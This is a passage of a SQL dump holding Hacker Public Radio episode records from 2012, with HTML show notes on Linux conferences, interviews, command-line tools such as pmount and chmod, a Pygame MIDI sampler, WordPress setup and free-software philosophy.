href=\"https://b4rn.org.uk/about-b4rn/jfdi\">https://b4rn.org.uk/about-b4rn/jfdi</a>\r\n</p>\r\n',30,0,1,'CC-BY-SA','networking,broadband,fibre optic,Lancashire,B4RN',0,1821,1),
(981,'2012-05-06','Review Indiana LinuxFest 2012',1397,'Ahuka speaks of his experiences attending the second of these conferences','<p>Indiana LinuxFest is at <a href=\"https://www.indianalinux.org/cms/\">https://www.indianalinux.org/cms/</a></p>\r\n<p>My web site is at <a href=\"https://www.zwilnik.com/\">https://www.zwilnik.com/</a></p>\r\n<p>To submit a talk for Ohio LinuxFest, please go to <a href=\"https://ohiolinux.org/callfortalks\">https://ohiolinux.org/callfortalks</a> for more information.</p>\r\n<p>Remember to support free software!</p>\r\n',198,0,1,'CC-BY-SA','Indiana LinuxFest',0,2231,1),
(982,'2012-05-08','LiTS 006: pmount',882,'Mount devices with the pmount command','<p>\r\nIn our continuing journey around the command line, Dann takes us to visit the outer edges and talks about the pmount command.\r\n</p>\r\n\r\n<pre>\r\nNAME\r\n       pmount - mount arbitrary hotpluggable devices as normal user\r\n</pre>\r\n<p>\r\nAs ever the very very detailed shownotes can be found on his site <a href=\"https://www.linuxintheshell.com/2012/05/08/episode-006-pmount/\">https://www.linuxintheshell.com</a>\r\n</p>\r\n<p>\r\nDon\'t forget that he also has a video component, and as ever this one is worth a watch.\r\n</p>\r\n',7,67,1,'CC-BY-SA','mount,pmount',0,2644,1),
(983,'2012-05-08','Freedom is not Free 5 - Get Involved',1052,'Part 5 of the \"Freedom is not Free\" series','Rounding off his series on \"Freedom\", Ahuka finishes off with \"Get Involved\"\r\n\r\nRemember that you should check out the following link <a href=\"https://ohiolinux.org/node/187\">https://ohiolinux.org/node/187</a>, and <a href=\"https://www.zwilnik.com/\">https://www.zwilnik.com/</a>',198,69,1,'CC-BY-SA','FOSS,FLOSS,involvement',0,2324,1),
(984,'2012-05-09','Going Linux: Introduction to Podcasting with Linux',2383,'A visit to the \"Going Linux\" podcast','<p>\r\nIn this introduction to using Linux and Linux applications to record a podcast, we focus on doing it on the cheap. We reveal the hardware and software we use. We discuss that you don\'t have to have a fast, new computer and expensive recording equipment to make a good quality podcast recording. From recording to editing, and from creating a feed to creating a supporting website, we talk about the free and open source software we use. We also give some tips on the logistics of the recording process and hosting your audio files for free.\r\n</p>\r\n\r\n<h2>Links discussed in this episode:</h2>\r\n<p>\r\nCommonCraft Video: Podcasting In Plain English <a href=\"https://www.commoncraft.com/video/podcasting\">https://www.commoncraft.com/video/podcasting</a><br/>\r\n</p>\r\n<h3>Hardware:</h3>\r\n<p>\r\nHeadsets: Logitech USB Headset, Playstation USB Headset<br/>\r\nMicrophone: Audio-Technica ATR30<br/>\r\nMixer: Alesis Multimix 8 USB<br/>\r\n</p>\r\n<h3>Software:</h3>\r\n<p>\r\nAudacity <a href=\"https://audacity.sourceforge.net\">https://audacity.sourceforge.net</a><br/>\r\nSkype <a href=\"https://skype.com\">https://skype.com</a><br/>\r\nSkype Call Recorder <a href=\"https://atdot.ch/scr\">https://atdot.ch/scr</a><br/>\r\nEasyTag <a href=\"https://easytag.sourceforge.net\">https://easytag.sourceforge.net</a><br/>\r\nRSS 2.0 specification: <a href=\"https://blogs.law.harvard.edu/tech/rss\">https://blogs.law.harvard.edu/tech/rss</a><br/>\r\niTunes info: <a href=\"https://www.apple.com/itunes/whatson/podcasts/tips.html\">https://www.apple.com/itunes/whatson/podcasts/tips.html</a><br/>\r\n</p>\r\n<h3>Creative Commons license:</h3>\r\n<p>\r\n<a href=\"https://creativecommons.org/about\">https://creativecommons.org/about</a><br/>\r\nLegal considerations for podcasters:<br/>\r\n<a href=\"https://wiki.creativecommons.org/Podcasting_Legal_Guide\">https://wiki.creativecommons.org/Podcasting_Legal_Guide</a><br/>\r\nGoogle\'s Feed Burner <a href=\"https://www.feedburner.com\">https://www.feedburner.com</a><br/>\r\nWeb hosting: <a href=\"https://www.site5.com/in.php?id=44470-6\">https://www.site5.com/in.php?id=44470-6</a><br/>\r\nEditing the website: <a href=\"https://kompozer.net\">https://kompozer.net</a><br/>\r\nAudio file storage: <a href=\"https://www.archive.org\">https://www.archive.org</a><br/>\r\n</p>\r\n',159,54,1,'CC-BY-SA','podcast recording',0,2496,1),
(2195,'2016-12-30','All you need to know when uploading a show',1696,'We read aloud various information pages on the HPR website','<p>\r\nIt has become clear that not everyone is aware of what the HPR community is, how it\'s run, and what the policies are. While these policies are valid at the time of recording, they may have been modified by the time you hear this.\r\n</p> \r\n<p>\r\nAs everyone was sick, I had to get a text to speech engine to read it out. See <a href=\"https://text-to-speech-demo.mybluemix.net/\">https://text-to-speech-demo.mybluemix.net/</a> for more information.\r\n</p>',30,0,0,'CC-BY-SA','HPR',0,0,1),
(985,'2012-05-10','LFNW: A Short Talk with Thomas Stover',435,'An interview with Thomas Stover at Linux Fest North West','<h2>Linux Fest North West Week Special </h2>\r\n<p>\r\nAll week we are airing the interviews that were recorded at the Linux Fest Northwest took place on April 28 and 29, 2012\r\n<a href=\"https://linuxfestnorthwest.org\">https://linuxfestnorthwest.org</a>\r\n</p>\r\n\r\n<p>\r\n\r\nThomas Stover presented: User Space C Development\r\nContact Thomas at:\r\n<a href=\"https://www.thomasstover.com/\">https://www.thomasstover.com/</a>\r\n</p>\r\n<p>\r\n\r\nA special Thank You to Thomas for the interview.\r\n\r\n</p>',209,78,1,'CC-BY-SA','Linux Fest North West,LFNW,C',0,2315,1),
(986,'2012-05-13','LFNW: Interview with Scott Newlon of MintCast',1433,'In this episode David Whitman interviews Scott Newlon of MintCast','<h2>Linux Fest North West Week Special </h2>\r\n<p>\r\nAll week we are airing the interviews that were recorded at the Linux Fest Northwest took place on April 28 and 29, 2012\r\n<a href=\"https://linuxfestnorthwest.org\">https://linuxfestnorthwest.org</a>\r\n</p>\r\n<h2>mintCast</h2>\r\n<p>mintCast is \"a podcast by the Linux Mint community for all users of Linux.\" Keep up to date on the latest happenings in the Mint community along with reviews and tutorials on how to get the most out of your Linux system.\r\n</p>\r\n<p>\r\n<a href=\"https://www.mintcast.org/\">https://www.mintcast.org/</a>\r\n</p>\r\n<p>\r\nI interviewed Scott on April 29, 2012 at a picnic table outdoors.<br />\r\n\r\ndw\r\n\r\n</p>',209,78,1,'CC-BY-SA','mintCast,Linux Mint,Linux Fest North West,LFNW',0,2174,1),
(987,'2012-05-15','LFNW: Larry Cafiero - the Crunchbang guy',313,'An interview with Larry Cafiero at Linux Fest North West','<h2>Linux Fest North West Week Special</h2>\r\n<p>\r\nAll week we are airing the interviews that were recorded at the Linux Fest Northwest took place on April 28 and 29, 2012\r\n<a href=\"https://linuxfestnorthwest.org\">https://linuxfestnorthwest.org</a>\r\n</p>\r\n<h2>Larry Cafiero - the Crunchbang guy</h2>\r\n<p>\r\n<a href=\"https://larrythecrunchbangguy.wordpress.com/category/lfnw/\">https://larrythecrunchbangguy.wordpress.com/category/lfnw/</a>\r\n</p>\r\n<p>\r\nLarry the CrunchBang Guy is Larry Cafiero, 54, who runs Redwood Digital Research in Felton, California, which provides Free/Open Source Software solutions for the small business/home office environment. He has been an advocate for Free/Open Source Software (FOSS) since the fall of 2006. Toward the end of 2006, he had an epiphany or satori regarding the social, philosophical, political and economic benefits of using FOSS on his favored hardware, which at the time consisted of the Mac PowerPC platform (although he has warmed up to Intel machines as of late). He organized a project to promote GNU/Linux which turned out to be the Lindependence events in Felton, California, in 2008. Larry’s brush with fleeting fame came in 2006 as the Green Party’s candidate for Insurance Commissioner in California (270,218 votes, 3.2 percent). He has been using CrunchBang on a regular basis since July 2011.\r\n</p>\r\n<p>\r\nSee Larry\'s video of his LFNW Presentation at:\r\n<a href=\"https://archive.org/details/LinuxfestNorthwest2012\">https://archive.org/details/LinuxfestNorthwest2012</a>\r\n</p>\r\n\r\n',209,78,1,'CC-BY-SA','CrunchBang,Linux Fest North West,LFNW',0,2240,1),
(988,'2012-05-15','LFNW: Dawn McKenna of McKenna Interpreting Services',1774,'An interview with Dawn McKenna at Linux Fest North West','<h2>Linux Fest North West Week Special</h2>\r\n<p>\r\nAll week we are airing the interviews that were recorded at the Linux Fest Northwest took place on April 28 and 29, 2012\r\n<a href=\"https://linuxfestnorthwest.org\">https://linuxfestnorthwest.org</a>\r\n</p>\r\n<h2>Dawn McKenna of McKenna Interpreting Services</h2>\r\n<p>\r\nDawn McKenna of McKenna Interpreting Services organized a group of volunteer sign language interpreters for the Linux Fest.<br />\r\n<a href=\"https://linuxfestnorthwest.org/sponsor/mckenna-interpreting-services\">https://linuxfestnorthwest.org/sponsor/mckenna-interpreting-services</a><br />\r\nIf you want to get more information about how to organize sign language interpretation at your event contact Dawn at spiderterp@gmail.com <br />\r\nDawn had a very cool computer mouse with a spider trapped inside.<br />\r\nThe HPR table was next to this group and these folks were really fun to be around. Lots of energy and you could tell they were really into their craft.<br />\r\nThanks to all the volunteer sign language interpreters! YOU ROCK!<br />\r\n</p>\r\n',209,78,1,'CC-BY-SA','sign language,interpreting,Linux Fest North West,LFNW',0,2149,1),
(989,'2012-05-17','Juiced Penguin 079 – Early Spring',3015,'A visit to the \"Juiced Penguin\" podcast','<p>\r\nToday it\'s the turn of <strong>Juiced Penguin</strong>, <a href=\"https://juicedpenguin.com/\">https://juicedpenguin.com/</a> which are <em>A musical Oggcast for the Ogg community. Est. Jan 26, 2009 </em>\r\n</p>\r\n<p>A musical Oggcast for and by the Ogg community. <a href=\"https://en.wikipedia.org/wiki/Podsafe\" target=\"_blank\">PodSafe</a> music from all genres. Rock, Blues, Metal, Country, Classical, etc… Any Flavor of music is welcome to be showcased. Listener supported, meaning you have the opportunity to DJ up your own stuff. If you want to do a regular show GREAT, if you just want to do one show, that’s great too. Tune in and listen, or submit a show so everyone can listen. May contain explicit material (dirty words) <img src=\"https://juicedpenguin.com/wp-includes/images/smilies/icon_wink.gif\" alt=\";)\" class=\"wp-smiley\"/><br/>\r\nContact: feedback (at) juicedpenguin (dot) com</p>\r\n<p>\r\nTodays show was put together by <a href=\"https://juicedpenguin.com/?cat=13\" title=\"View all posts in terryf\" rel=\"category\">terryf</a></p>\r\n<p>\r\n<img class=\"aligncenter  wp-image-1503\" title=\"dandelion-110-10\" src=\"https://juicedpenguin.com/wp-content/uploads/2012/03/dandelion-110-10.jpg\" alt=\"\" height=\"252\" width=\"336\"/></p>\r\n<p>Todays Host: <a href=\"https://juicedpenguin.com/?cat=13\" target=\"_blank\">terryf</a></p>\r\n<p>Todays Oggcast art is from <a href=\"https://www.deshow.net/\" target=\"_blank\">www.deshow.net</a><br/>\r\nYou can also find us on the <a href=\"https://www.archive.org/search.php?query=Juiced%20Penguin%20AND%20collection%3Aopensource_audio\" target=\"_blank\">Internet Archive</a><br/>\r\nFollow Juiced Penguin on <a href=\"https://plus.google.com/105226641449406055822%20\" target=\"_blank\">Google+</a></p>\r\n<p> Band: Song<br/>\r\n1.) <a href=\"https://www.jamendo.com/en/track/353341\" target=\"_blank\">The Dada Weatherman: Yellow Gold</a><br/>\r\n2.) <a href=\"https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=68e4b3c9174a5516e42e67d537809e8f\" target=\"_blank\">100 Damned Guns: Wish I could die</a><br/>\r\n3.) <a href=\"https://www.jamendo.com/en/album/45709\" target=\"_blank\">Sean T Wright: The Calling</a><br/>\r\n4.) <a href=\"https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=3f0276d4c0bbe77dae558b067f16fcae\" target=\"_blank\">  Bourland: Honkytonk Delilah</a><br/>\r\n5.) <a href=\"https://www.jamendo.com/en/album/43598\" target=\"_blank\">Sungod Abscondo: Monster</a><br/>\r\n6.) <a href=\"https://www.jamendo.com/en/album/47082\" target=\"_blank\">Routine Homecoming: God &amp; the Saddest Song</a><br/>\r\n7.) <a href=\"https://www.jamendo.com/en/album/74857\" target=\"_blank\">Flat People: Everybody’s Got A Syndrome Here</a><br/>\r\n8.) <a href=\"https://www.jamendo.com/en/album/64943\" target=\"_blank\">Kyle Cox: Company</a><br/>\r\n9.) <a href=\"https://www.jamendo.com/en/album/89338\" target=\"_blank\">Austen Brauker: Backward</a><br/>\r\n10.) <a href=\"https://www.jamendo.com/en/album/50498\" target=\"_blank\">Michael Bergmann: Shithouse Explodes</a><br/>\r\n11.) <a href=\"https://www.jamendo.com/en/album/60493\" target=\"_blank\">PSYCHOHORSES WHJK: Maison rouge chambre verte ainsi</a></p>\r\n<p>If you would like to submit an episode, please email<br/>\r\nus at: feedback (at) juicedpenguin (dot) com<br/>\r\nSuggestions  and Comments are always welcomed.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://juicedpenguin.com/\">https://juicedpenguin.com/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Podsafe\">https://en.wikipedia.org/wiki/Podsafe</a></li>\r\n<li><a href=\"https://juicedpenguin.com/?cat=13\">https://juicedpenguin.com/?cat=13</a></li>\r\n<li><a href=\"https://juicedpenguin.com/?cat=13\">https://juicedpenguin.com/?cat=13</a></li>\r\n<li><a href=\"https://www.deshow.net/\">https://www.deshow.net/</a></li>\r\n<li><a href=\"https://www.archive.org/search.php?query=Juiced%20Penguin%20AND%20collection%3Aopensource_audio\">https://www.archive.org/search.php?query=Juiced%20Penguin%20AND%20collection%3Aopensource_audio</a></li>\r\n<li><a href=\"https://plus.google.com/105226641449406055822%20\">https://plus.google.com/105226641449406055822%20</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/track/353341\">https://www.jamendo.com/en/track/353341</a></li>\r\n<li><a href=\"https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=68e4b3c9174a5516e42e67d537809e8f\">https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=68e4b3c9174a5516e42e67d537809e8f</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/album/45709\">https://www.jamendo.com/en/album/45709</a></li>\r\n<li><a href=\"https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=3f0276d4c0bbe77dae558b067f16fcae\">https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=3f0276d4c0bbe77dae558b067f16fcae</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/album/43598\">https://www.jamendo.com/en/album/43598</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/album/47082\">https://www.jamendo.com/en/album/47082</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/album/74857\">https://www.jamendo.com/en/album/74857</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/album/64943\">https://www.jamendo.com/en/album/64943</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/album/89338\">https://www.jamendo.com/en/album/89338</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/album/50498\">https://www.jamendo.com/en/album/50498</a></li>\r\n<li><a href=\"https://www.jamendo.com/en/album/60493\">https://www.jamendo.com/en/album/60493</a></li>\r\n</ul>\r\n',158,54,1,'CC-BY-SA','PodSafe music,Oggcast',0,2340,1),
(990,'2012-05-17','Portable Apps',625,'JWP talks about portable applications','In today\'s show JWP talks to us about portable applications.',129,0,1,'CC-BY-SA','CrunchBang,portableapps.com',0,2170,1),
(991,'2012-05-20','Making a Music Sampler with Midi and Pygame',590,'Using Python Pygame and a Midi controller to make a sampler','<p>\r\nPygame Midi documentation:<br />\r\n    <a href=\"https://www.pygame.org/docs/ref/midi.html\">https://www.pygame.org/docs/ref/midi.html</a>\r\n</p>\r\n<p>\r\nPygame Mailing List:<br />\r\n    <a href=\"https://www.pygame.org/wiki/info\">https://www.pygame.org/wiki/info</a>\r\n</p>\r\n<p>\r\nMidi.py sample from pygame example folder: <br />\r\n    <a href=\"https://bitbucket.org/pygame/pygame/src/25e3f2cee879/examples/midi.py\">https://bitbucket.org/pygame/pygame/src/25e3f2cee879/examples/midi.py</a>\r\n</p>\r\n<p>\r\nSampler/Sound Looper made from python, pygame and midi:<br />\r\n    <a href=\"https://www.pygame.org/project-BadPenni+-+MIDI+Triggered+Sound+Looper-1734-.html\">https://www.pygame.org/project-BadPenni+-+MIDI+Triggered+Sound+Looper-1734-.html</a>  <br />\r\n</p>\r\n<p>\r\nSample values that populate midi_events variable:<br />\r\n</p>\r\n<p>\r\n     Middle C note key press (notice the data1 is 60 and data2 is 127)<br />\r\n     &lt;Event(34-Unknown {\'status\': 144, \'vice_id\': 2, \'timestamp\': 6701, \'data1\': 60, \'data3\': 0, \'data2\': 127})&gt;<br />\r\n</p>\r\n<p>\r\n     Middle C note key release (notice the data1 is 60 and data2 is 0)<br />\r\n     &lt;Event(34-Unknown {\'status\': 128, \'vice_id\': 2, \'timestamp\': 6764, \'data1\': 60, \'data3\': 0, \'data2\': 0})&gt;<br />\r\n</p>\r\n<p>\r\n     Middle C# note key press (notice the data1 is now 61)<br />\r\n     &lt;Event(34-Unknown {\'status\': 144, \'vice_id\': 2, \'timestamp\': 206684, \'data1\': 61, \'data3\': 0, \'data2\': 127})&gt;<br />\r\n</p>\r\n<p>\r\nPython code snippet that pulls the note number from the midi_events list and appends an \"off\" string if it is a key release. <br />\r\n</p>\r\n<pre>\r\n    if str(midi_events[0][0][2]) != \"0\":\r\n        midinote = str(midi_events[0][0][1])\r\n    else:\r\n        midinote = str(midi_events[0][0][1]) + \"off\"\r\n</pre>\r\n<p>\r\nControlling sounds with if statements and our midinote variable:<br />\r\n</p>\r\n<pre>\r\n    distbassrollloop = pygame.mixer.Sound(\"7FullCircleDistBassRollLoop.wav\")\r\n    distsnarerollloop = pygame.mixer.Sound(\"7FullCircleDistSnareRollLoop.wav\")\r\n    distbass = pygame.mixer.Sound(\"7FullCircleDistBassPad.wav\")\r\n    distsnare = pygame.mixer.Sound(\"7FullCircleDistSnare.wav\")\r\n\r\n    if midinote == \"48\":\r\n        distbass.play()\r\n\r\n    if midinote == \"49\":\r\n        distbassrollloop.play(1000)\r\n\r\n    if midinote == \"49off\":\r\n        distbassrollloop.stop()\r\n\r\n    if midinote == \"50\":\r\n        distsnare.play()\r\n\r\n    if midinote == \"51\":\r\n        distsnarerollloop.play(1000)\r\n\r\n    if midinote == \"51off\":\r\n        distsnarerollloop.stop()\r\n</pre>\r\n<p>\r\nContact info:<br />\r\n</p>\r\n<p>\r\n    bgryderclock on Google+:<br />\r\n    <a href=\"https://plus.google.com/u/0/114032638902983586355\">https://plus.google.com/u/0/114032638902983586355</a>\r\n</p>\r\n<p>\r\n    bgryderclock on Twitter:<br />\r\n    <a href=\"https://twitter.com/bgryderclock\">https://twitter.com/bgryderclock</a>\r\n</p>\r\n<p>\r\n    bgryderclock on Identica:<br />\r\n    <a href=\"https://identi.ca/bgryderclock\">https://identi.ca/bgryderclock</a>\r\n</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.pygame.org/docs/ref/midi.html\">https://www.pygame.org/docs/ref/midi.html</a></li>\r\n<li><a href=\"https://www.pygame.org/wiki/info\">https://www.pygame.org/wiki/info</a></li>\r\n<li><a href=\"https://bitbucket.org/pygame/pygame/src/25e3f2cee879/examples/midi.py\">https://bitbucket.org/pygame/pygame/src/25e3f2cee879/examples/midi.py</a></li>\r\n<li><a href=\"https://www.pygame.org/project-BadPenni+-+MIDI+Triggered+Sound+Looper-1734-.html\">https://www.pygame.org/project-BadPenni+-+MIDI+Triggered+Sound+Looper-1734-.html</a></li>\r\n<li><a href=\"https://plus.google.com/u/0/114032638902983586355\">https://plus.google.com/u/0/114032638902983586355</a></li>\r\n<li><a href=\"https://twitter.com/bgryderclock\">https://twitter.com/bgryderclock</a></li>\r\n<li><a href=\"https://identi.ca/bgryderclock\">https://identi.ca/bgryderclock</a></li>\r\n</ul>\r\n',213,0,1,'CC-BY-SA','Python,Pygame,MIDI,sampler',0,2171,1),
(992,'2012-05-22','LiTS 007: Chmod and Unix Permissions.',1341,'Change file and directory access permissions with the chmod command','<p>\r\nThis is LITS 007\r\n</p>\r\n<p>\r\nPay attention everyone, this is serious stuff. This is CHMOD a powerful and dangerous operator that has \r\ninfiltrated to the heart of every unix and linux system. We have been receiving reports that it has also behind many strange incidents leading to computer compromise and in some cases complete lock down.\r\n</p>\r\n<p>\r\nOur American colleague, Special Agent Washko, will show us how to, in his own words \"turn this bad boy around\" so we can get it working for us.\r\n</p>\r\n<p>\r\nAs ever the extremely detailed shownotes can be found on his site <a href=\"https://www.linuxintheshell.com/2012/05/22/episode-007-chmod-and-unix-permissions/\">https://www.linuxintheshell.com/2012/05/22/episode-007-chmod-and-unix-permissions/</a>.\r\n</p>\r\n',7,67,1,'CC-BY-SA','permissions,chmod',0,2840,1),
(993,'2012-05-23','Setting up a Wordpress blog: part 3 - tweaking appearance',1699,'Episode 3 of the series <em>Setting up a Wordpress blog</em>','This is the third of Frank\'s series on setting up a WordPress blog, now projected to be four episodes.  <br />\r\n<br />\r\nThis episode discusses tweaking appearance, particularly the theme.  The next episode will be about maintenance.<br />\r\n<br />\r\nLinks:<br />\r\n<br />\r\n<a href=\"https://webdesign.about.com/\">About.com\'s webdesign reference and tutorial. https://webdesign.about.com/</a><br />\r\n<br />\r\n<a href=\"https://www.w3schools.org/info/how-to-create-websites.html\">W3Schools https://www.w3schools.org/info/how-to-create-websites.html</a><br />\r\n<br />\r\n<a href=\"https://wordpress.org/extend/\">WordPress themes and plugins   https://wordpress.org/extend/</a> <br />\r\n<br />\r\n<a href=\"https://wordpress.org/extend/themes/connections-reloaded\">Connections Reloaded WordPress theme.  https://wordpress.org/extend/themes/connections-reloaded</a><br />\r\n<br />\r\n<a href=\"https://wordpress.org/extend/themes/ggsimplewhite\">GGSimpleWhite WordPress theme.  https://wordpress.org/extend/themes/ggsimplewhite</a><br />\r\n<br />\r\n<a href=\"https://www.geeknewscentral.com/2011/01/14/free-wordpress-themes-loaded-with-malware/ \">Report of malware in WordPress themes from Geek News Central.  https://www.geeknewscentral.com/2011/01/14/free-wordpress-themes-loaded-with-malware/</a> <br />\r\n',195,0,1,'CC-BY-SA','WordPress,blog,appearance,theme',0,2044,1),
(994,'2012-05-23','NELF: John Maddog Hall Talking About Talking About Free Software',3595,'John Maddog Hall recorded at the Northeast GNU/Linux Fest 2012-03-17','In todays syndicated Thursday, we bring you another of the talks recorded at the Northeast GNU/Linux Fest 2012-03-17. The speaker is John Maddog Hall and the talk is \"Talking About Talking About Free Software\"<br />\r\nYou might remember that Klaatu recorded a fantastic interview back in episode 767 :: Maddog and \"super dumb terminals\" on 2011-07-11\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0767\">https://hackerpublicradio.org/eps.php?id=0767</a>\r\n\r\n\r\n\r\n',158,54,1,'CC-BY-SA','free software',0,2236,1),
(995,'2012-05-24','Do the four freedoms extend beyond software ?',893,'The Free Software Definition has a wider scope than just software','<p>\r\nOn <a href=\"https://www.podnutz.com/lftrou074\">Linux For The Rest Of Us #74 - The Legistrative Session</a>, one of our correspondents <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=155\">Mr. Gadgets</a>, called in the following question. The segment begins at  at 01:00:30 and in it he describes a conversation about the <a href=\"https://en.wikipedia.org/wiki/Four_Freedoms_(Free_software)#definition\">four freedoms</a> where someone whose opinion he respected stated \"<strong>the four freedoms only cover programming. It is only the code that is covered in the four freedoms</strong>\".\r\n</p>\r\n<p>\r\nFor those of you who don\'t know <a href=\"https://www.gnu.org/philosophy/free-sw.html\">The Free Software Definition</a> boils down to the following rules:\r\n</p>\r\n<ul>\r\n<li>Freedom 0: The freedom to run the program for any purpose.</li>\r\n<li>Freedom 1: The freedom to study how the program works, and change it to make it do what you wish.</li>\r\n<li>Freedom 2: The freedom to redistribute copies so you can help your neighbor.</li>\r\n<li>Freedom 3: The freedom to improve the program, and release your improvements (and modified versions in general) to the public, so that the whole community benefits.</li>\r\n</ul>\r\n<p>\r\nIf you read the The Free Software Definition, then yes all the references are to \"software\" only....<br />\r\n...that is of course until you get to the section <em>Beyond Software</em>, in the same document,  which states: <br />\r\n</p>\r\n<p>\r\n<em>\r\nSoftware manuals must be free, for the same reasons that software must be free, and because the manuals are in effect part of the software.\r\n<br />\r\nThe same arguments also make sense for other kinds of works of practical use - that is to say, works that embody useful knowledge, such as educational works and reference works. Wikipedia is the best-known example.\r\n<br />\r\nAny kind of work can be free, and <strong>the definition of free software has been extended to a definition of free cultural works applicable to any kind of works.\r\n</strong></em>\r\n</p>\r\n<p>\r\nSo in summary, as HPR is now released under a Creative Commons Attribution-ShareAlike 3.0 Unported lisence, any shows that provide useful knowledge, such as educational works and reference works <strong>are</strong> covered by the four freedoms.\r\n</p>\r\n',30,0,1,'CC-BY-SA','free software definition',0,2235,1),
(996,'2012-05-28','Command line cheat sheet',291,'A Unix command cheat sheet written by FossWire','<p>\r\nIn today\'s show JWP tries calling in a live over the UK call in number UK: +44-203-432-5879 (The US number +1-206-203-5729) and tells us of a CC-BY-SA cheat sheet written by FossWire.\r\n</p>\r\n<p>\r\n<a href=\"https://fosswire.com/post/2007/08/unixlinux-command-cheat-sheet/\">https://fosswire.com/post/2007/08/unixlinux-command-cheat-sheet/</a>\r\n</p>\r\n<pre>\r\n\r\ndate - print or set the system date and time\r\n$ date\r\nWed Mar  7 19:53:05 CET 2012\r\n\r\ncal, ncal — displays a calendar and the date of Easter\r\n$ cal\r\ncal: setlocale: No such file or directory\r\n     March 2012       \r\nSu Mo Tu We Th Fr Sa  \r\n             1  2  3  \r\n 4  5  6  7  8  9 10  \r\n11 12 13 14 15 16 17  \r\n18 19 20 21 22 23 24  \r\n25 26 27 28 29 30 31  \r\n                      \r\nuptime - Tell how long the system has been running.\r\n\r\nuname - print system information\r\n$ uname -a\r\nLinux video 3.1.0-1-amd64 #1 SMP Tue Nov 29 13:47:12 UTC 2011 x86_64 GNU/Linux\r\n\r\n$ cat /proc/cpuinfo | head -5\r\nprocessor       : 0\r\nvendor_id       : AuthenticAMD\r\ncpu family      : 15\r\nmodel           : 44\r\nmodel name      : AMD Sempron(tm) Processor 2600+\r\n\r\n$ cat /proc/meminfo | head -5\r\nMemTotal:        1027176 kB\r\nMemFree:          111016 kB\r\nBuffers:          136104 kB\r\nCached:           173992 kB\r\nSwapCached:         7964 kB\r\n\r\ndu - estimate file space usage\r\n$ du -ch | tail -1\r\n253M    total\r\n\r\ndf - report file system disk space usage\r\n$ df -h\r\nFilesystem                   Size  Used Avail Use% Mounted on\r\n/dev/sdd1                     28G   22G  4.3G  84% /\r\ntmpfs                        5.0M  4.0K  5.0M   1% /lib/init/rw\r\ntmpfs                        101M  632K  100M   1% /run\r\nudev                         496M     0  496M   0% /dev\r\ntmpfs                        201M     0  201M   0% /run/shm\r\n</pre>',129,0,1,'CC-BY-SA','command line,date,cal,ncal,uptime,uname,du,df',0,2244,1),
(997,'2012-05-28','Poorly Recorded Thoughts On Rural Computing',718,'Rural communications problems versus the urban equivalent','lostnbronx sends in a show which brings us down to earth when we talk about poor reception and slow Internet speeds.<br />\r\n\r\n\r\nSorry for the sound quality.  I recorded this in the car, Dave Yates style, with my Sanza Fuze v2, running Rockbox -- but my car is loud, and I had the Fuze hanging precariously from my jacket, where it was covered over half the time.',107,0,1,'CC-BY-SA','mobile computing,DSL,land line,cellphone,coverage',0,2164,1),
(998,'2012-05-29','Viva la Federation!',1441,'Setting up a Status.net instance','<p>\r\n  In this episode, <a href=\"https://identi.ca/nybill\">NYbill</a> and\r\n  <a href=\"https://micro.fragdev.com/windigo\">Windigo</a> explain their\r\n  experience setting up their own instances of <a href=\r\n  \"https://status.net\">Status.net</a>, a microblogging service.\r\n</p>\r\n<p>\r\n  While they do not give a beginning to end installation guide, they\r\n  do discuss some hurdles they encountered, and provide resources\r\n  that may prove invaluable to someone who has just set up their own\r\n  server.\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n  <li><a href=\"https://status.net\">Status.net</a></li>\r\n  <li><a href=\"https://identi.ca\">Identi.ca</a></li>\r\n  <li><a href=\"https://whird.jpope.org/2011/11/01/identifailed-me-last-time\">JPope\'s Blog About Status.net</a></li>\r\n  <li><a href=\"https://publications.jbfavre.org/statusnet/install-statusnet-nginx-php-fpm\">Jean Baptiste Favre\'s Status.net article</a></li>\r\n  <li><a href=\"https://diekershoff.homeunix.net/tobias/2011-03-30/three-month-of-statusnet-from-home\">Subscription Import Script</a> - by Tobias Diekershoff</li>\r\n  <li><a href=\"https://wiki.x1101.net/index.php/Main_Page\">x1101\'s Wiki</a></li>\r\n  <li><a href=\"https://parlementum.net/group/feds\">The Federated User\'s Group</a></li>\r\n  <li><a href=\"https://www.verbosity.ca/statusnet-identica-ostatus-microblogging/getting-real-time-updates-statusnet\">Realtime Updates</a> - article by Ryan Weal</li>\r\n  <li><a href=\"https://status.net/wiki/Twitter_bridge\">Twitter Bridge</a></li>\r\n  <li><a href=\"https://www.gunmonkeynet.net/statusnet/\">NYbill\'s Instance</a></li>\r\n  <li><a href=\"https://micro.fragdev.com\">Windigo\'s Instance</a></li>\r\n</ul>',196,0,1,'CC-BY-SA','microblogging,status.net,identi.ca',0,2130,1),
(999,'2012-05-30','Simon Phipps on Open Software: OGG Camp Part One',1084,'The Full Circle Podcast with a recording of Simon Phipps at OggCamp 11','<p>This is the first of our highlights of last Summer\'s unconference, <a href=\"https://oggcamp.org/\" target=\"_blank\" >OGG Camp eleven</a>, held at Farnham Maltings in the South of England.</p>\r\n\r\n<p>Introducing Simon Phipps, who presented the opening session of the unconference to a packed main hall, on Software Freedom.</p>\r\n\r\n<p>A computer industry veteran, Simon Phipps came on with an actual box of hats which he proceeded the change at speed, reminding me of Tommy Cooper in his heyday.</p>\r\n\r\n<p>Simon has come up through hands-on roles as field engineer, programmer and systems analyst, run a software publishing company, worked with OSI standards in the eighties, on the first commercial collaborative conferencing software in the nineties, and helped introduce both Java and XML at IBM.</p>\r\n\r\n<p>A founding 